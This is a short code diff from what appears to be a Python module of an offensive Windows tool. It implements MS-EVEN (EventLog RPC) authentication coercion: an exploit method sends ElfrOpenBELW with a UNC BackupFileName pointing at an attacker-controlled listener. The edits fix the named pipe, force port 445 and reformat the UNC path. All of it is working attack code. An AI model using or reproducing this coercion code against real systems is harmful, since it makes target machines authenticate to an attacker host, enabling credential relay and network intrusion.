@@ -339,6 +339,8 @@ def connect(self, username, password, domain, lmhash, nthash, aesKey, target, do
339339 },
340340 }
341341 rpctransport = transport .DCERPCTransportFactory (binding_params [pipe ]["stringBinding" ])
342+ rpctransport .set_dport (445 )
343+
342344 if hasattr (rpctransport , "set_credentials" ):
343345 rpctransport .set_credentials (
344346 username = username ,
@@ -910,11 +912,13 @@ def __init__(self, context):
910912 def connect (self , username , password , domain , lmhash , nthash , aesKey , target , doKerberos , dcHost , pipe ):
911913 binding_params = {
912914 "eventlog" : {
913- "stringBinding" : r"ncacn_np:%s[\PIPE\lsarpc ]" % target ,
915+ "stringBinding" : r"ncacn_np:%s[\PIPE\eventlog ]" % target ,
914916 "MSRPC_UUID_EVEN" : ("82273fdc-e32a-18c3-3f78-827929dc23ea" , "0.0" ),
915917 },
916918 }
917919 rpctransport = transport .DCERPCTransportFactory (binding_params [pipe ]["stringBinding" ])
920+ rpctransport .set_dport (445 )
921+
918922 if hasattr (rpctransport , "set_credentials" ):
919923 rpctransport .set_credentials (
920924 username = username ,
@@ -953,7 +957,7 @@ def exploit(self, dce, listener, always_continue, pipe):
953957 try :
954958 request = even .ElfrOpenBELW ()
955959 request ["UNCServerName" ] = NULL # '%s\x00' % listener
956- request ["BackupFileName" ] = "\\ ??\\ UNC\\ {}\\ {}" . format ( listener , "lodos \\ 2005" )
960+ request ["BackupFileName" ] = f "\\ ??\\ UNC\\ { listener } \\ abcdefgh \\ aa"
957961 request ["MajorVersion" ] = 1
958962 request ["MinorVersion" ] = 1
959963 dce .request (request )
0 commit comments